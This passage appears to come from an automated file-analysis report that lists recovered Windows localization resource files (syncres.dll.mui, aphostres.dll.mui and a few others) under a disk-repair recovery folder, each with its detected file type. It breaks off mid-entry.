[C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ha-..-ng_efa1a927d84240b2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_300ffe3fea880c5b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_c2789c671a8ffaad\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_25bb53edb6274a60\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_93a99d11052af419\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hi-in_f0d21b80fcbd01ca\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_is-is_a0108e8a22930f0b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_eu-es_092d8f5c23fda98a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_89d1cd8efa05d411\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_ee89bacd6bfbd4ee\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_b2b2de334d6825cd\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_a85e33e1190763d2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_cccd46b94ef0bca8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_eu-es_138239ae585e6b85\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_7f7d233cc5a51216\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_is-is_95bbe437ee324d10\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gu-in_5786c2ba3eedf5d8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ha-..-ng_f9f6537a0ca302ad\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gu-in_4d3218680a8d33dd\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hi-in_fb26c5d3311dc3c5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_f8de651fa05c96e9\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-..-pk_b1b1e27d4c5abdba\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_b706d9d94a96bbe7\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_acb22f871635f9ec\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_a81c48af98649c7b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kk-kz_e9be1aae0575bce8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nn-no_ce1763b2e064837c\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ka-ge_e0da7e400b20dfe7\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_fc8baa073042b7b9\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_23cc75ad84b8bf77\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_9dc79e5d6403da80\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nn-no_c3c2b960ac03c181\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_it-it_a07745cc22522f83\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_1977cb5b5057fd7c\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_f236ffb4fbe1f5be\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tt-ru_98e0420259e59a2b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kk-kz_df69705bd114faed\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_id-id_9a0bd1ac26602803\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tt-ru_a334ec548e465c26\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_id-id_8fb72759f1ff6608\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ka-ge_d685d3edd6c01dec\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_it-it_96229b79edf16d88\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-us_13cc7ca2582741fe\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_c4447870aba27235\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_km-kh_d7584f47d646e151\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_km-kh_e1acf99a0aa7a34c\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_0c43c1845cfe8e39\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_3971b87d4e0aac07\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_01ef1732289dcc3e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_43c662cf826b6e02\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_a009d4a090456fb7\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hy-am_efb44bd2fd86ef4b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_a1f5c9128f1149f1\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hy-am_fa08f62531e7b146\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_7f5654af336f6011\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_95b52a4e5be4adbc\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_89aaff0167d0220c\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_97a11ec05ab087f6\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_77462a6ecae7305c\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ig-ng_9b3f858a259e0990\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_819ad4c0ff47f257\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0d57a5165c541032\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ig-ng_90eadb37f13d4795\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0302fac427f34e37\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_9df2a07e919a0541\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_939df62c5d394346\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ar-sa_7f2cd9229324b81e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ar-sa_74d82ed05ec3f623\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_he-il_f01a4cd4fd2e88f8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "data"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_e18878180aae9bf3\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ti-et_a33b7c728e34d717\syncres.dll.mui]- [targetUID: 00000000-00005728] "appidcertstorecheck.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-appid_31bf3856ad364e35_10.0.17134.1_none_3ccc9ca31b51b1f0\appidcertstorecheck.exe]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_bae8d2ef4afb4eff\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_065c7bcb2cd262cb\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec\aphostres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_429cc4d9156d415e\syncres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_6321f4c8a803c47f\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592\aphostres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_e606a18e07de0874\syncres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_637f00823a10b78d\aphostres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_38481a86e10c7f63\syncres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4dccfc13113231e7\aphostres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_dbb1f73bd37d4679\syncres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_f084721204044849\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_63a505cc3a004c69\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_6657aed8a5fcc83f\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_6575df6ca68d5863\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_02c00a792f1a3e93\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_acfac09c8ade566b\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1ce59a46c2e156cb\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_bdbd3db34924fa65\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_20835d8c52defe66\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1ea64f08c1b54cf6\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_e7ae4b063c62a0bc\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_f202f55870c362b7\aphostres.dll.mui]- [targetUID: 00000000-00005728] "internetmail.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..ernetmail.resources_31bf3856ad364e35_10.0.17134.1_en-us_cf3c5a6654651d32\internetmail.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_48f5ab11820760c6\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_63d9a8e839d95ac4\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_3ea100bf4da69ecb\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9\aphostres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_68fe3cbe0ae85a15\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: 